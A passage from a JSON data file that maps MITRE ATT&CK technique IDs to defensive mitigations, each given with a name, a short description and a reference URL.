exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1121", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1206", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1063", "mitigations": [{"name": "Security Software Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about local security software, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1080", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1167", "mitigations": []}, {"_id": "T1527", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1180", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1165", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1137", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1089", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1487", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1214", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1119", "mitigations": [{"name": "Remote Data Storage", "description": "Use remote security log and sensitive file storage where access can be controlled better to prevent exposure of intrusion detection log data or sensitive information.", "url": "https://attack.mitre.org/mitigations/M1029"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1115", "mitigations": [{"name": "Clipboard Data Mitigation", "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1103", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1007", "mitigations": [{"name": "System Service Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1040", "mitigations": [{"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}]}, {"_id": "T1017", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1530", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1135", "mitigations": [{"name": "Network Share Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire network share information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1120", "mitigations": [{"name": "Peripheral Device Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1082", "mitigations": [{"name": "System Information Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about the operating system and underlying hardware, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1071", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1053", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1162", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}]}, {"_id": "T1176", "mitigations": [{"name": "Limit Software Installation", "description": "Block users or groups from installing unapproved software.", "url": "https://attack.mitre.org/mitigations/M1033"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1106", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1058", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1202", "mitigations": [{"name": "Indirect Command Execution Mitigation", "description": "Identify or block potentially malicious software that may contain abusive functionality by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP). These mechanisms can also be used to disable and/or limit user access to Windows utilities and file types/locations used to invoke malicious execution.(Citation: SpectorOPs SettingContent-ms Jun 2018)", "url": ""}]}, {"_id": "T1024", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1536", "mitigations": []}, {"_id": "T1091", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Limit Hardware Installation", "description": "Block users or groups from installing or using unapproved hardware on systems, including USB devices.", "url": "https://attack.mitre.org/mitigations/M1034"}]}, {"_id": "T1005", "mitigations": [{"name": "Data from Local System Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from the local system, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1140", "mitigations": [{"name": "Deobfuscate/Decode Files or Information Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1195", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}]}, {"_id": "T1190", "mitigations": [{"name": "Application Isolation and Sandboxing", "description": "Restrict execution of code to a virtual environment on or in transit to an endpoint system.", "url": "https://attack.mitre.org/mitigations/M1048"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Vulnerability Scanning", "description": "Vulnerability scanning is used to find potentially exploitable software vulnerabilities to remediate them.", "url": "https://attack.mitre.org/mitigations/M1016"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}, {"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}]}, {"_id": "T1219", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1079", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1036", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1055", "mitigations": [{"name": "Behavior Prevention on Endpoint", "description": "Use capabilities to prevent suspicious behavior patterns from occurring on endpoint systems. This could include suspicious process, file, API call, etc. behavior.", "url": "https://attack.mitre.org/mitigations/M1040"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}]}, {"_id": "T1139", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1205", "mitigations": [{"name": "Filter Network Traffic", "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", "url": "https://attack.mitre.org/mitigations/M1037"}]}, {"_id": "T1503", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}]}, {"_id": "T1218", "mitigations": [{"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1153", "mitigations": [{"name": "Source Mitigation", "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.", "url": ""}]}, {"_id": "T1038", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}, {"name": "Restrict Library Loading", "description": "Prevent abuse of library loading mechanisms in the operating system and software to load untrusted code by configuring appropriate library loading mechanisms and investigating potential vulnerable software.", "url": "https://attack.mitre.org/mitigations/M1044"}]}, {"_id": "T1050", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1010", "mitigations": [{"name": "Application Window Discovery Mitigation", "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1032", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}, {"name": "SSL/TLS Inspection", "description": "Break and inspect SSL/TLS sessions to look at encrypted web traffic for adversary activity.", "url": "https://attack.mitre.org/mitigations/M1020"}]}, {"_id": "T1062", "mitigations": [{"name": "Hypervisor Mitigation", "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.", "url": ""}]}, {"_id": "T1182", "mitigations": [{"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1029", "mitigations": [{"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1525", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}]}, {"_id": "T1004", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Execution Prevention", "description": "Block execution of code on a system through application whitelisting, blacklisting, and/or script blocking.", "url": "https://attack.mitre.org/mitigations/M1038"}]}, {"_id": "T1009", "mitigations": [{"name": "Binary Padding Mitigation", "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1076", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Limit Access to Resource Over Network", "description": "Prevent access to file shares, remote access to systems, unnecessary services. Mechanisms to limit access may include use of network concentrators, RDP gateways, etc.", "url": "https://attack.mitre.org/mitigations/M1035"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}, {"name": "Privileged Account Management", "description": "Manage the creation, modification, use, and permissions associated to privileged accounts, including SYSTEM and root.", "url": "https://attack.mitre.org/mitigations/M1026"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}]}, {"_id": "T1011", "mitigations": [{"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1131", "mitigations": [{"name": "Privileged Process Integrity", "description": "Protect processes with high privileges that can be used to interact with critical system components through use of protected process light, anti-process injection defenses, or other process integrity enforcement measures.", "url": "https://attack.mitre.org/mitigations/M1025"}]}, {"_id": "T1181", "mitigations": [{"name": "Extra Window Memory Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1152", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1483", "mitigations": [{"name": "Restrict Web-Based Content", "description": "Restrict use of certain websites, block downloads/attachments, block Javascript, restrict browser extensions, etc.", "url": "https://attack.mitre.org/mitigations/M1021"}, {"name": "Network Intrusion Prevention", "description": "Use intrusion detection signatures to block traffic at network boundaries.", "url": "https://attack.mitre.org/mitigations/M1031"}]}, {"_id": "T1185", "mitigations": [{"name": "User Training", "description": "Train users to to be aware of access or manipulation attempts by an adversary to reduce the risk of successful spearphishing, social engineering, and other techniques that involve user interaction.", "url": "https://attack.mitre.org/mitigations/M1017"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1021", "mitigations": [{"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}, {"name": "Multi-factor Authentication", "description": "Use two or more pieces of evidence to authenticate to a system; such as username and password in addition to a token from a physical smart card or token generator.", "url": "https://attack.mitre.org/mitigations/M1032"}]}, {"_id": "T1207", "mitigations": [{"name": "DCShadow Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1107", "mitigations": [{"name": "File Deletion Mitigation", "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1145", "mitigations": [{"name": "Password Policies", "description": "Set and enforce secure password policies for accounts.", "url": "https://attack.mitre.org/mitigations/M1027"}, {"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "Encrypt Sensitive Information", "description": "Protect sensitive information with strong encryption.", "url": "https://attack.mitre.org/mitigations/M1041"}, {"name": "Network Segmentation", "description": "Architect sections of the network to isolate critical systems, functions, or resources. Use physical and logical segmentation to prevent access to potentially sensitive systems and information. Use a DMZ to contain any internet-facing services that should not be exposed from the internal network.", "url": "https://attack.mitre.org/mitigations/M1030"}, {"name": "Restrict File and Directory Permissions", "description": "Restrict access by setting directory and file permissions that are not specific to users or privileged accounts.", "url": "https://attack.mitre.org/mitigations/M1022"}]}, {"_id": "T1112", "mitigations": [{"name": "Restrict Registry Permissions", "description": "Restrict the ability to modify certain hives or keys in the Windows Registry.", "url": "https://attack.mitre.org/mitigations/M1024"}]}, {"_id": "T1491", "mitigations": [{"name": "Data Backup", "description": "Take and store data backups from end user systems and critical servers. Ensure backup and storage systems are hardened and kept separate from the corporate network to prevent compromise.", "url": "https://attack.mitre.org/mitigations/M1053"}]}, {"_id": "T1535", "mitigations": [{"name": "Software Configuration", "description": "Implement configuration changes to software (other than the operating system) to mitigate security risks associated to how the software operates.", "url": "https://attack.mitre.org/mitigations/M1054"}]}, {"_id": "T1155", "mitigations": [{"name": "Code Signing", "description": "Enforce binary and application integrity with digital signature verification to prevent untrusted code from executing.", "url": "https://attack.mitre.org/mitigations/M1045"}]}, {"_id": "T1217", "mitigations": [{"name": "Browser Bookmark Discovery Mitigation", "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "url": ""}]}, {"_id": "T1183", "mitigations": [{"name": "Image File Execution Options Injection Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1085", "mitigations": [{"name": "Exploit Protection", "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", "url": "https://attack.mitre.org/mitigations/M1050"}]}, {"_id": "T1031", "mitigations": [{"name": "Audit", "description": "Perform audits or scans of systems, permissions, insecure software, insecure configurations, etc. to identify potential weaknesses.", "url": "https://attack.mitre.org/mitigations/M1047"}, {"name": "User Account Management", "description": "Manage the creation, modification, use, and permissions associated to user accounts.", "url": "https://attack.mitre.org/mitigations/M1018"}]}, {"_id": "T1092", "mitigations": [{"name": "Disable or Remove Feature or Program", "description": "Remove or deny access to unnecessary and potentially vulnerable software to prevent abuse by adversaries.", "url": "https://attack.mitre.org/mitigations/M1042"}, {"name": "Operating System Configuration", "description": "Make configuration changes related to the operating system or a common feature of the operating system that result in system hardening against techniques.", "url": "https://attack.mitre.org/mitigations/M1028"}]}, {"_id": "T1222", "mitigations": [{"name": "File Permissions Modification Mitigation", "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", "url": ""}]}, {"_id": "T1179", "mitigations": [{"name": "Hooking Mitigation", "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.", "url": ""}]}, {"_id": "T1019", "mitigations": [{"name": "Update Software", "description": "Perform regular software updates to mitigate exploitation risk.", "url": "https://attack.mitre.org/mitigations/M1051"}, {"name": "Boot Integrity", "description": "Use secure methods to boot a system and verify the integrity of the operating system and loading mechanisms.", "url": 